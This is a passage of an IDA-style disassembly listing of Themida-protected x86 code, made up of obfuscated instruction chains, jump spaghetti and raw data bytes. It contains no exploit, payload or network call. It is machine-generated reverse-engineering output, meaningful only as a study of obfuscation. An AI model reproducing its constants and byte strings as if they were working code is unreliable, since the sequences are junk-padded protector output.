		add	esp, 4
		push	esi
		mov	esi, 5E8B6FF9h
		jmp	loc_56BEDA
; ---------------------------------------------------------------------------


loc_570073:				; CODE XREF: Themida_:0055E85Ej
		push	ecx
		jmp	loc_56C26D
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FEDAABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570081:				; CODE XREF: Themida_:005611C6j
		shr	ebp, 7
		add	ebp, 36704519h
		jmp	loc_56CD0E
; ---------------------------------------------------------------------------
		db 52h
		dd 0FF755EE9h, 241C87FFh, 243C8B5Ch, 8B04C483h,	74E9240Ch
		dd 81FFFFF9h, 5E01B8EDh, 0EBC58110h, 0E9A0F993h, 2078h
		dd 9F46B850h, 0C7314AE8h, 8324048Bh, 0EE8104C4h, 43F74AD5h
		dd 0E953FE01h, 0FFFFF24Dh
; ---------------------------------------------------------------------------


loc_5700D4:				; CODE XREF: Themida_:0056704Aj
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5654B6
; ---------------------------------------------------------------------------
		dd 0E959CC28h, 0FFFF7BD0h
; ---------------------------------------------------------------------------


loc_5700E4:				; CODE XREF: Themida_:0056576Fj
		push	737Eh
		mov	[esp], eax
		jmp	loc_56A774
; ---------------------------------------------------------------------------
		db 89h,	0F9h, 5Fh
		dd 5059CF01h, 0FF215EE9h, 4895CFFh, 68E08924h, 3D7Fh, 0FFB973E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57010D:				; CODE XREF: Themida_:0056E55Aj
		xor	ebp, 3C4A578Ah
		jmp	loc_567A6C
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 8704C583h, 815C242Ch,	2ECh, 6304E900h
		dd 5153FFFFh, 1E88BD55h, 0ED816DA9h, 64593C62h,	3D1FED81h
		dd 874D732Eh, 109EE9D5h, 0EC810000h, 4,	68243C89h, 4125h
		dd 0BF243C89h, 389840B5h, 4247C31h, 241C8B5Fh, 0FFB103E9h
		dd 240C89FFh, 0FF15FDE9h, 4EC81FFh, 89000000h, 0E568243Ch
		dd 8900006Dh, 0B9512404h, 6AE90A7Ch, 0F759C889h, 48250DD0h
		dd 0BF5738AFh, 4240025Bh, 2CE9F801h
		db 0DDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5701A7:				; CODE XREF: Themida_:0056383Dj
		mov	[esp], ecx
		jmp	loc_56566B
; ---------------------------------------------------------------------------
		db 88h
		dd 0DC885AF3h, 0B3A2E95Bh, 8B66FFFFh, 5453240Ch, 4BF575Bh
		dd 81000000h, 811C47C3h, 81FB0100h, 811C47EBh, 0E9555F00h
		dd 0FFFEF054h, 7A5168h,	242C8900h, 1FBF5750h, 0E94B7D20h
		dd 0FFFF4BACh, 583B685Dh, 3C890000h, 2FE95324h,	0B5000020h
		dd 266EE9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570206:				; CODE XREF: Themida_:005637E5j
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55DA40
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFCE44h, 2829045Ch, 2154E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_570222:				; CODE XREF: Themida_:0056ACB2j
		or	ecx, 25D35A1Fh
		jmp	loc_571EAB
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6E9368h, 242C8900h, 4BDh, 9CBB5300h,	0E9115770h, 0FFFFF751h
; ---------------------------------------------------------------------------


loc_570248:				; CODE XREF: Themida_:00566350j
		mov	[esp], eax
		mov	eax, 17126F88h
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		inc	eax
		push	ebp
		mov	ebp, 0AC61192h
		or	ebp, 711F6A0Fh
		jmp	loc_56CDE0
; ---------------------------------------------------------------------------


loc_570266:				; CODE XREF: Themida_:00567E15j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 4B3F3A3Fh
		shr	edi, 4
		jmp	loc_55FAFF
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0FC00B5Ch, 0FF964284h, 7BEC68FFh, 2C890000h,	0E3895324h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 57241C89h,	0FEBFh
		dd 0FE94E900h, 0C281FFFFh, 4, 5C241487h, 463D68h, 241C8900h
		dd 3E2A68h, 24248900h, 4240483h, 4C3815Bh, 83000000h, 48904ECh
		dd 0ED58E924h, 0F381FFFFh, 0D6F60C6h, 7A59B850h, 64356BF3h
		dd 35394812h, 9369F714h, 8958C301h, 9D9BE9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57030A:				; CODE XREF: Themida_:0056D8A4j
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		not	edi
		xchg	edi, edx
		add	edx, 8650DD7Fh
		mov	ebx, edx
		mov	edx, [esp]
		jmp	loc_570367
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 348904ECh, 8F55E924h, 0E1C1FFFFh,	83414902h
		dd 1C8904ECh, 2CB1BB24h, 0BA6875D4h, 8900007Ah,	0A9BF243Ch
		dd 210ADC67h, 0CA685FFBh, 89000046h, 78BE2434h,	292CB834h
		dd 0EE95EF3h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570367:				; CODE XREF: Themida_:0057031Fj
		add	esp, 4
		sub	esp, 4
		jmp	loc_570FE8
; ---------------------------------------------------------------------------
		dd 4244481h, 6F2B33CBh,	4244401h, 4246C81h, 6F2B33CBh
		dd 31E95A58h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570393:				; CODE XREF: Themida_:00562B2Fj
		pop	eax
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		jmp	loc_568861
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 1A680000h, 89000044h, 0A4682434h, 89000024h
		dd 0A1E92414h, 0F7FFFFE6h, 0BA52D5h, 29000000h,	5AD587EAh
		dd 0EB31DD31h, 0AE68DD31h, 8900000Dh, 54E9241Ch, 0FFFFFFF2h
		dd 3BE92434h, 56FFFF59h, 292E9h, 81E68900h, 4C6h, 4C68100h
		dd 87000000h, 335C2434h, 4312404h, 24043324h, 6624248Bh
		dd 66C8B60Fh, 0E90E5C68h, 0FFFF1129h, 5EBA5259h, 0C1387D53h
		dd 0C28102E2h, 1E0AB28Ch, 4A4DE981h, 0D10103F0h, 4A4DC181h
		dd 525A03F0h, 0FECE00E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57043D:				; CODE XREF: Themida_:0056EB05j
		push	52A22914h
		pop	eax
		xor	eax, 52A22916h
		mov	ecx, eax
		mov	eax, [esp]
		jmp	loc_56D5DD
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 57241C8Bh, 0C781E789h, 4, 4C781h, 3C870000h,	0FF505C24h
		dd 58042474h, 8B24048Fh, 8B662424h, 78E9240Ch
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57047F:				; CODE XREF: Themida_:005657F4j
		not	edi
		shl	edi, 3
		add	edi, 0F15477F3h
		sub	eax, edi
		jmp	loc_56F013
; ---------------------------------------------------------------------------
		db 0BAh, 67h, 68h
		dd 68566FFEh, 2E941650h, 0A4E6815Eh, 4603C14Eh,	767DBA52h
		dd 0D6091484h, 90C6815Ah, 89EFA456h, 2434FFF5h,	4C4835Eh
		dd 6795ED81h, 0D5017F9Fh, 6795C581h, 80E97F9Fh,	89FFFF28h
		dd 8B54242Ch, 0C481242Ch, 4, 724F68h, 0A0E3E900h, 0C6BFFFFFh
		dd 81598713h, 4ECh, 240C8900h, 0FF34CBE9h, 7FC681FFh, 0C12D3E1Bh
		dd 0EE8102E6h, 6111543Dh, 815EF709h, 245451F7h,	5FFE0120h
		dd 6F58E95Bh, 335AFFFFh, 2C31242Ch, 242C3324h, 6624248Bh
		dd 6824048Bh, 6924h, 0E9241C89h, 13C2h
; ---------------------------------------------------------------------------


loc_570538:				; CODE XREF: Themida_:0055D68Cj
		pop	edx
		push	1F15h
		mov	[esp], edi
		push	57674F27h
		mov	edi, [esp]
		add	esp, 4
		not	edi
		push	2725h
		mov	[esp], edx
		push	edi
		mov	edi, 396D6989h
		add	edi, 1
		or	edi, 3FEF7CE2h
		xor	edi, 2B7C0094h
		sub	edi, 0C76F4E42h
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	760Ah
		mov	[esp], eax
		mov	eax, 667F2D20h
		shr	eax, 6
		push	ebx
		jmp	loc_56C8A8
; ---------------------------------------------------------------------------


loc_5705A3:				; CODE XREF: Themida_:00562CC0j
		pop	esp
		mov	[esp], ebx
		jmp	loc_566B10
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 8704C283h, 505C2414h,	405E089h, 0E9000000h
		dd 0FFFF52C7h
; ---------------------------------------------------------------------------


loc_5705C8:				; CODE XREF: Themida_:0056D92Fj
		shr	ecx, 5
		sub	ecx, 0D5230A83h
		xor	[esp+4], ecx
		jmp	loc_55D4BD
; ---------------------------------------------------------------------------
		dw 1EB8h
		dd 310A5D71h, 24048BC7h, 4C481h, 0F7050000h, 1345668h
		dd 68F72DF8h, 3C8B3456h, 0EEE95624h, 89FFFFFDh,	0E589242Ch
		dd 0FFCBC9E9h, 5AD589FFh, 875DEB29h, 248B241Ch,	3D7E924h
		dd 148B0000h, 0E0895024h, 1893E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_570626:				; CODE XREF: Themida_:0056C907j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_563DBE
; ---------------------------------------------------------------------------
		dd 0C89CE951h, 34FFFFFFh, 0C4835924h, 24048F04h, 0E924248Bh
		dd 0FFFFB9A3h
; ---------------------------------------------------------------------------


loc_570654:				; CODE XREF: Themida_:0056C2E6j
		pop	ecx
		jmp	loc_55F347
; ---------------------------------------------------------------------------
		dw 3487h
		dd 0CE015C24h, 67206859h, 3C890000h, 0E501E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57066E:				; CODE XREF: Themida_:0056E03Fj
		push	ebp
		mov	ebp, 6A715053h
		and	ebp, 41E79F5h
		jmp	loc_571B36
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF550DBBh, 5E3C156h, 0E381DBF7h, 0F2A5594h,	0EB81DBF7h
		dd 0F6A6542Ah, 15BDE89h, 0D0895EF2h, 58C6015Ah,	73E76857h
		dd 4890000h, 10685724h,	0E9373649h, 0FFFF682Ch
; ---------------------------------------------------------------------------


loc_5706B8:				; CODE XREF: Themida_:0055E6ABj
		mov	esp, [esp]
		jmp	loc_572408
; ---------------------------------------------------------------------------
		dd 9C240428h, 0FEC7FCE9h, 4C483FFh, 4EC81h, 2C890000h
		dd 4EC8324h, 0BA241489h, 563515DEh, 0F281DAF7h,	0A9CAEA20h
		dd 0FFFF1CE9h, 38C280FFh, 0E95AD588h, 0FFFF7093h, 4FE9CEB4h
		dd 81FFFFDAh, 0EE40FEE9h, 0BF57524Dh, 371B10C6h, 0A2628EBAh
		dd 0E38EE96Ch, 5DBDFFFFh, 2938CC65h, 53525DE9h,	4E7538BBh
		dd 0F235E906h, 8956FFFFh, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 3E5C15Ch, 0FFEB31E9h, 0B9515EFFh, 2,	0C8BCB01h, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 0E9240C87h, 0FFFF5091h, 0B6E4E942h
		dd 0FB29FFFFh, 54BBC381h, 0A0E901C2h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57077B:				; CODE XREF: Themida_:0056B402j
		neg	ecx
		jmp	loc_56E397
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0E9028864h, 0FFFEC735h
; ---------------------------------------------------------------------------


loc_570790:				; CODE XREF: Themida_:00561C42j
		pop	eax
		xor	esi, [esp]
		jmp	loc_570C80
; ---------------------------------------------------------------------------


loc_570799:				; CODE XREF: Themida_:0056D845j
		or	esi, 1427274Dh
		xor	esi, 679130A9h
		sub	esi, 0BE52584h
		mov	ebx, esi
		jmp	loc_5618D0
; ---------------------------------------------------------------------------
		dw 252Dh
		dd 0E91C5A65h, 0FFFF3D7Dh, 86241486h, 86D1F6CAh, 0E95450CAh
		dd 0FFFF83A4h, 0F3FAEE81h, 0ECE92F37h, 47FFFF9Eh, 0EFC1DFF7h
		dd 0B5EF8107h, 8107AE28h, 44C018C7h, 5FF82956h,	6705F029h
		dd 8B4ED939h, 89502434h, 405E0h, 0C0830000h, 24048704h
		dd 0DEBD555Ch, 164D07Ch, 0EC835DEBh, 24148904h,	14E8E9h
		dd 81E68900h, 4C6h, 3DE7E900h, 8F54FFFFh, 0AEE92404h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57082F:				; CODE XREF: Themida_:00564175j
		push	esi
		mov	esi, 2B941A7Fh
		add	ebx, esi
		pop	esi
		sub	ebx, 17DE59B3h
		jmp	loc_55EE44
; ---------------------------------------------------------------------------
		db 0B8h
		dd 6A4E30FEh, 7C34BE56h, 0D6F73ACFh, 0E904EEC1h, 0FFFEF732h
		dd 0E978EC80h, 1BECh, 93E95652h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570867:				; CODE XREF: Themida_:00569C79j
		push	esi
		jmp	loc_568325
; ---------------------------------------------------------------------------


loc_57086D:				; CODE XREF: Themida_:005676C1j
		xor	ecx, 80C4B849h
		push	esi
		jmp	loc_56DFE9
; ---------------------------------------------------------------------------


loc_570879:				; CODE XREF: Themida_:0056A7D8j
		pop	eax
		push	ebp
		mov	ebp, 4D590E26h
		jmp	loc_56BB48
; ---------------------------------------------------------------------------


loc_570885:				; CODE XREF: Themida_:0055D9BCj
		pop	ebx
		sub	ecx, esi
		pop	esi
		not	ecx
		jmp	loc_56EE8D
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 4, 5359CB29h, 42474FFh, 0FF6993E9h, 0FBD55FFh
		dd 4D69D023h, 0FF850AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5708B1:				; CODE XREF: Themida_:0056980Fj
		or	ebx, 50F409A1h
		dec	ebx
		jmp	loc_571F5A
; ---------------------------------------------------------------------------
		db 0BDh, 3Bh, 26h
		dd 0C581692Ah, 26AF61E9h, 0F581DDF7h, 31E7C88h,	1A3ACD81h
		dd 69E959B5h, 0F7FFFEE8h, 0C15D2414h, 0B95102E5h, 35FE44A4h
		dd 3FACF181h, 14E96099h, 59FFFF2Ah, 0FEC5CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5708F9:				; CODE XREF: Themida_:0056897Dj
		push	0CA7h
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		inc	ebp
		xor	ebp, 24F638A7h
		jmp	loc_56ABBE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48159h, 68000000h,	756Eh, 0E9240489h, 0FFFF26B1h
		dd 0E908E0C1h, 0FFFF4BF4h, 4C481h, 89560000h, 4C681E6h
		dd 53000000h, 112C02BBh, 6E3C164h, 6A83EB81h, 81436521h
		dd 2995FAF3h, 5BDE299Fh, 5C243487h, 0BF243C89h,	0A5D711Ch
		dd 4EC81h, 4890000h, 0FC68E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570972:				; CODE XREF: Themida_:0056BBE0j
		pop	ebp
		jmp	loc_55F157
; ---------------------------------------------------------------------------
		dd 4BAh, 5AD50100h, 31242C33h, 2C33242Ch, 0EC815C24h, 4
		dd 68243C89h, 4, 0F5C2815Fh, 134BC7Fh, 0F5EA81FAh, 0E934BC7Fh
		dd 0FFFF9D8Bh, 4C481h, 0CE290000h, 0FD26E959h, 0F281FFFEh
		dd 0FA91A24Fh, 15AD131h, 1BE959CDh
		db 23h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5709CB:				; CODE XREF: Themida_:0056BC1Cj
		push	esi
		mov	esi, 228C6EB2h
		add	esi, 222D6E31h
		not	esi
		and	esi, 31DD5F84h
		xor	esi, 1F9A267Dh
		and	edi, esi
		pop	esi
		shr	edi, 3
		inc	edi
		jmp	loc_565310
; ---------------------------------------------------------------------------
		db 66h,	89h, 14h
		dd 9C506624h, 0FEC4C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5709FD:				; CODE XREF: Themida_:0056B09Dj
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_55D2F3
; ---------------------------------------------------------------------------
		dd 59E9455Eh, 81FFFFCDh, 4C4h, 34FF5A00h, 0C4835B24h, 5DEF2904h
		dd 5C243C87h, 0E9240489h, 0FFFEC499h, 9D1C77FFh, 0D3665966h
		dd 0E99C2414h, 0FFFEC489h, 0ED80CDFEh, 59E8283Bh, 4EC81h
		dd 14890000h, 73E95324h, 81FFFFCDh, 0FC7D52C3h,	17F38147h
		dd 532990B7h, 0E9243C8Bh, 0FFFF1E60h, 662414F6h, 5EAC05Ah
		dd 2893F280h, 24148BD5h, 4C483h, 2434FFE8h, 83240C8Bh
		dd 0C48304C4h, 81E80004h, 4ECh,	0C86AE900h, 0FE01FFFFh
		dd 0FF4692E9h, 24248BFFh, 9C2404D3h, 0FF38A4E9h, 3F81BFFFh
		dd 0FDE94A85h, 0C1FFFF2Ah, 0EFC102EFh, 4E7C104h, 0E758C781h
		dd 0F801F04Dh, 2DF0295Fh, 0C513408h, 6046102Dh,	0C2E95E58h
		dd 5AFFFEEBh, 0FFB7CCE9h, 0A4B050FFh, 0FF02DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570AE5:				; CODE XREF: Themida_:0056B7A2j
		push	ecx
		pop	dword ptr [edi+24h]
		pop	ecx


loc_570AEA:				; CODE XREF: Themida_:005682A8j
		push	22FAh
		mov	[esp], edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 669C5004h
		dec	esi
		neg	esi
		xor	esi, 9963AFF9h
		add	edx, esi
		pop	esi
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 33107718h
		not	eax
		xor	eax, 0CCEF88E3h
		sub	edx, 77E73300h
		jmp	loc_5616DB
; ---------------------------------------------------------------------------
		dw 5159h
		dd 0FFB3C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570B35:				; CODE XREF: Themida_:0056DA63j
		xor	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	eax, edi
		jmp	loc_5698E1
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 0BEE92434h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570B53:				; CODE XREF: Themida_:00570C63j
		neg	ebx
		xor	ebx, 4FAA78CEh
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 7A6713FDh
		push	ebp
		mov	ebp, 0F322209h
		push	2D8Ah
		mov	[esp], edx
		push	esi
		jmp	loc_5687E9
; ---------------------------------------------------------------------------
aCSv		db 'Àç',8,'év',0
		db 0FFh
		dd 4EC83FFh, 89241489h,	4C281E2h, 83000000h, 148704EAh
		dd 6BD9E924h, 0C481FFFFh, 4, 8904EC83h,	0B951242Ch, 671423B7h
		dd 0C8BCD89h, 7911E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570BBA:				; CODE XREF: Themida_:0056CF43j
		mov	edi, 0CD481779h
		xor	edx, edi
		jmp	loc_56FC79
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 14895C24h, 2474FF24h, 2434FF04h, 0FFCE8FE9h,	0EB815AFFh
		dd 4, 5C241C87h, 54240489h, 68555658h, 0EA025A8h, 32ED815Dh
		dd 55E465FFh, 0FFBEA3E9h, 0E9565BFFh, 0FFFFEB17h
; ---------------------------------------------------------------------------


loc_570C04:				; CODE XREF: Themida_:0055D5AAj
		add	[esp+4], esi
		pop	esi
		pop	ecx
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_56AEDD
; ---------------------------------------------------------------------------


loc_570C18:				; CODE XREF: Themida_:0055DAEDj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ecx, 4
		push	edx
		push	ebx
		jmp	loc_56A230
; ---------------------------------------------------------------------------
		dd 4D5FFD01h, 2094E581h, 4E96A43h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570C47:				; CODE XREF: Themida_:005689E0j
		add	ebx, edx
		jmp	loc_571C07
; ---------------------------------------------------------------------------


loc_570C4E:				; CODE XREF: Themida_:00561F12j
		push	ebx
		mov	ebx, 677C5E5Dh
		and	ebx, 2CD10C73h
		dec	ebx
		not	ebx
		xor	ebx, 7B2E4307h
		jmp	loc_570B53
; ---------------------------------------------------------------------------
		dd 0F131CE31h, 1668CE31h, 89000038h, 0D2BB241Ch, 0E911BD31h
		dd 0FFFFB466h
; ---------------------------------------------------------------------------


loc_570C80:				; CODE XREF: Themida_:00570794j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_567244
; ---------------------------------------------------------------------------
		dd 0C84EE954h, 0BDFFFFh, 29000000h, 0E8BEE9FDh,	1C89FFFEh
		dd 0E9E38924h, 87Ch, 604972Ch, 62CF828h, 0FFA2EFE9h, 0C26866FFh
		dd 0EC7DE91Dh, 0D7F7FFFEh, 0A0BE5697h, 31EE72F2h, 0E9815EF0h
		dd 1BE82547h, 76E9C101h, 0FFFFFFEBh, 515B2434h,	0FF0DBFE9h
		dd 0CB2966FFh, 0FF8253E9h, 0E9D0F7FFh, 0FFFF9EE8h, 0D0E9E800h
		dd 5DFFFFD5h, 8105EBC1h, 0DF0234CBh, 43C38170h,	1E2322Eh
		dd 7527E9DAh, 248BFFFFh, 24048924h, 270F6856h, 348B7F10h
		dd 4C48124h, 81000000h,	0E5EF01EEh, 30E95229h, 51FFFF5Eh
		dd 45634BB9h, 0E9CE014Ah, 0FFFEE957h, 5C1068h, 24048900h
		dd 42474FFh, 5C96E958h,	0C181FFFFh, 645F5C24h, 0E981F129h
		dd 645F5C24h, 68F9015Eh, 49D0h,	52243C89h, 0DB1DBCBAh
		dd 0E9D7894Fh, 0FFFF0697h, 0E95BDE01h, 0FFFF0A04h, 0BFE95351h
		dd 55FFFEC9h, 251848BDh, 0B1FEE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570D8E:				; CODE XREF: Themida_:005678F3j
		pop	edi
		push	edi
		mov	edi, esp
		jmp	loc_565CB8
; ---------------------------------------------------------------------------
		db 0BAh
		dd 2, 0FFCD75E9h, 24CD68FFh, 0C890000h,	51E8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570DAE:				; CODE XREF: Themida_:00568213j
		shl	ebp, 8
		xor	ebp, 73FC6493h
		shr	ebp, 6
		push	ebx
		mov	ebx, 1032ACEh
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, ebp
		pop	ebp
		add	[esp+4], edx
		pop	edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 4
		add	edx, esi
		mov	esi, [esp]
		push	ecx
		jmp	loc_56F31A
; ---------------------------------------------------------------------------
		db 81h
		dd 5A7176F2h, 16ACE951h, 0E7890000h, 0FF73E7E9h, 58C189FFh
		dd 0FF72FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570E19:				; CODE XREF: Themida_:00571F12j
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		jmp	loc_56967E
; ---------------------------------------------------------------------------


loc_570E2C:				; CODE XREF: Themida_:0056D691j
		xchg	ebx, edx
		xor	ecx, edx
		xor	edx, ecx
		jmp	loc_571A0D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EC8100h, 89000000h, 0B9E9240Ch, 59FFFFCCh, 0FF9609E9h
		dd 0B8B652FFh, 0F33037B3h, 66D8285Ah, 52241C8Bh, 0C281E289h
		dd 4, 2C281h, 14870000h, 0BFF3E924h, 0E929FFFFh, 0E9CB015Dh
		dd 0FFFF0C9Fh, 0E9C8BE0Fh, 0FFFFADA9h, 4C4835Dh, 5C24048Fh
		dd 0FF2434FFh, 83582434h, 0EC8104C4h, 4, 0FF4E27E9h, 0E9C801FFh
		dd 0FFFEC1BFh
; ---------------------------------------------------------------------------


loc_570EAC:				; CODE XREF: Themida_:0055E12Ej
		mov	eax, [esp]
		jmp	loc_566257
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 22B05000h, 0D0F6D8F6h, 0A1B35351h
		dd 0DD308BB5h, 0E9241C8Bh, 0FFFFB528h, 5FE95958h, 89FFFFB2h
		dd 0A1E92434h, 81FFFFA3h, 0B5340CEEh, 2E927h, 815FFFFFh
		dd 0BF5744F2h, 0CEEA8121h, 0E9819528h, 0FFFFC536h
; ---------------------------------------------------------------------------


loc_570F00:				; CODE XREF: Themida_:00560D10j
		xchg	ebp, [esp]
		pop	esp
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_55CEC5
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 8B240C33h, 0F9F72424h, 3F1668h, 24148900h, 2CE99C50h
		dd 0FFFFFECFh, 669D1C77h, 24041858h, 0BF8FE99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_570F36:				; CODE XREF: Themida_:00561611j
		mov	esp, [esp]
		and	al, bh
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	35DDh
		jmp	loc_55D3E9
; ---------------------------------------------------------------------------
		db 59h
		dd 8758C129h, 895C240Ch, 0FCBF243Ch, 55257D26h,	0FFAC25E9h
		dd 0E9505CFFh, 0FFFF7B4Dh, 3F4068h, 24248900h, 0FF3553E9h
		dd 8BEA81FFh, 1FFFFEFh,	0C6815AD6h, 4, 0FF93AAE9h, 50FAB5FFh
		dd 0E0C0F5B0h, 0E9853408h, 0FFFFAF94h, 13A8BB66h, 81664366h
		dd 6636A9E3h, 413EEB81h, 5F082D66h, 0E9D80166h,	0FFFEDC46h
		dd 8B24048Fh, 0D3662424h, 0E99C2424h, 0FFFEBEF1h, 51242C89h
		dd 0FF5000E9h, 2EB551FFh, 0E963B050h, 0FFFF2CD2h
; ---------------------------------------------------------------------------


loc_570FE8:				; CODE XREF: Themida_:00570373j
		mov	[esp], eax
		jmp	loc_55DF70
; ---------------------------------------------------------------------------


loc_570FF0:				; CODE XREF: Themida_:00567AC4j
		shl	edx, 1
		push	eax
		mov	eax, 24h
		add	eax, edi
		jmp	loc_571AFA
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFB489E9h, 992B8FFh, 7FE90E54h, 81FFFFEBh, 1D71BBF6h
		dd 63F2E969h, 8150FFFFh, 5E242434h, 2C8B18FCh, 0E3895324h
		dd 0FF6C11E9h, 4C281FFh, 0E9000000h, 0FFFF113Dh
; ---------------------------------------------------------------------------


loc_571038:				; CODE XREF: Themida_:0055D192j
		xor	edi, eax
		pop	eax
		add	esi, 5CE20D97h
		push	edx
		jmp	loc_55DCD1
; ---------------------------------------------------------------------------
		db 81h
		dd 0B800C5C9h, 470E933h, 48B0000h, 4C48124h, 0E9000000h
		dd 0FFFF80BDh, 0E9243C89h, 0FFFF4C3Fh, 0D3F7D987h, 269768h
		dd 240C8900h, 815B5953h, 524B9C9h, 49F18116h, 0E93B9A44h
		dd 0FFFEFBEBh, 4C481h, 0C4830000h, 0BA525004h, 748873FBh
		dd 299DF281h, 0D0890370h, 0FEE37EE9h, 1EA468FFh, 3C890000h
		dd 0C54DE924h, 0E381FFFFh, 3BBB0E67h, 0FFE4FCE9h, 4BE95FFFh
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5710C3:				; CODE XREF: Themida_:005621A3j
		and	ecx, 7E6C1595h
		push	0
		sub	[esp], ecx
		pop	ecx
		xor	ecx, 0FD74A8C9h
		xor	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, ebp
		jmp	loc_566E04
; ---------------------------------------------------------------------------
		dw 0D6E9h
		db 0BDh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5710EF:				; CODE XREF: Themida_:0056B518j
		mov	esp, [esp]
		push	ebp
		push	59BFh
		mov	[esp], esi
		push	edi
		mov	edi, 7A523425h
		shr	edi, 8
		xor	edi, 39FE214Dh
		jmp	loc_55E052
; ---------------------------------------------------------------------------


loc_57110F:				; CODE XREF: Themida_:00568A34j
		xor	edi, [esp]
		jmp	loc_569FE9
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0E9E9F529h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57111F:				; CODE XREF: Themida_:0056A33Ej
		sub	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	edi, 52B35838h
		push	edx
		mov	edx, 4F3B158Ah
		sub	edi, edx
		pop	edx
		sub	edi, 13D03063h
		sub	edi, esi
		add	edi, 13D03063h
		push	ebp
		jmp	loc_561959
; ---------------------------------------------------------------------------


loc_57114D:				; CODE XREF: Themida_:0056DDD7j
		xor	esi, 17252709h
		mov	ecx, esi
		pop	esi
